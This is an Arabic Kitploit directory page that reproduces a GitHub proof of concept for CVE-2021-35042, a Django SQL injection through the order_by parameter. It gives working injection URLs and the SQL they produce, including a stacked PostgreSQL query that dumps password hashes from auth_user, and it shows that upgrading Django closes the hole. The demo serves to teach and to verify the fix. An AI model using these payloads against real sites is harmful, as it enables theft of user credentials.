Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-35042 — إثبات مفهوم تفاعلي يوضح ثغرة حقن SQL في Django (CVE-2021-35042) مع استغلال خطوة بخطوة ضد قواعد بيانات SQLite وPostgreSQL. | Kitploit
أدوات/GitHubGitHub/r4vi/cve-2021-35042
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمأمن قواعد البيانات
GitHubr4vi/cve-2021-35042

CVE-2021-35042

إثبات مفهوم تفاعلي يوضح ثغرة حقن SQL في Django (CVE-2021-35042) مع استغلال خطوة بخطوة ضد قواعد بيانات SQLite وPostgreSQL.

عرض المستودع
51منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-35042

ثغرة حقن SQL في Django

السؤال: استكشف مدى قابلية استغلالها؟

الجواب: أنا مرعوب

التثبيت

poetry install

poetry run ./manage.py migrate

poetry run ./manage.py loaddata dummydata.json

عرض تفاعلي

poetry run ./manage.py runserver

الفرز حسب حقول عشوائية

انتقل إلى http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22 لاحظ أن معامل ?order_by يمرر مرجع SQL خام إلى عمود "core_things_tags"."things_id"

أوقف الاستعلام الأول وجرب تشغيل بعض SQL

يبدو هذا وكأنه أقصى ما يمكنك الوصول إليه: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20and%201);%20select%201%20as%20name%20;-- وهو ما يغلق استعلام SQL الأول ويُترجم إلى استعلام SQL التالي:

root@kitploit:~
SELECT "core_things"."id",
       "core_things"."name",
       COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
         LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
                                                "core_things_tags"."things_id")
GROUP BY "core_things"."id", "core_things"."name",
         ("core_things_tags"."things_id" and 1);
select 1 as name;--) ORDER BY ("core_things_tags"."things_id" and 1); select 1 as name ;--) ASC LIMIT 21; args=()

وهو يفشل مع:

root@kitploit:~
Warning at /
You can only execute one statement at a time.

هذا فقط لأن sqlite يمكنه تشغيل استعلام واحد فقط في كل مرة.

إعادة النظر في تشغيل الاستعلام الثاني باستخدام postgres

root@kitploit:~
export DJANGO_DATABASE_URL=postgres://user:pass@localhost:5432/cve-2021-35042 # make this a valid DATABASE_URL for your own postgres server

poetry run ./manage.py migrate

poetry run ./manage.py loaddata dummydata.json

poetry run ./manage.py createsuperuser # اتبع التعليمات

زر: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20);%20SELECT%201%20as%20id,%20%22password%22as%20name,%201%20as%20num_tags%20from%20%22auth_user%22;--

والذي ينفذ الاستعلام التالي:

root@kitploit:~
SELECT "core_things"."id",
       "core_things"."name",
       COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
         LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
                                                "core_things_tags"."things_id")
GROUP BY "core_things"."id", ("core_things_tags"."things_id");
SELECT 1 as id, "password" as name, 1 as num_tags
from "auth_user";--) ORDER BY ("core_things_tags"."things_id" ); SELECT 1 as id, "password"as name, 1 as num_tags from "auth_user";--) ASC;

يمكنك الآن فعل أي شيء تقريبًا. هذا الاستعلام يسرق تجزئة كلمة المرور لكل مستخدم.

الترقية إلى إصدار غير معرض للثغرة

الآن قم بترقية django مؤقتًا:

poetry shell

pip install Django==3.2.5

أعد زيارة الرابط أعلاه ولاحظ أنه لم يعد يعمل:

root@kitploit:~
FieldError at /
Cannot resolve keyword '"core_things_tags"."things_id"' into field. Choices are: id, name, num_tags, tags
تنزيل الأداة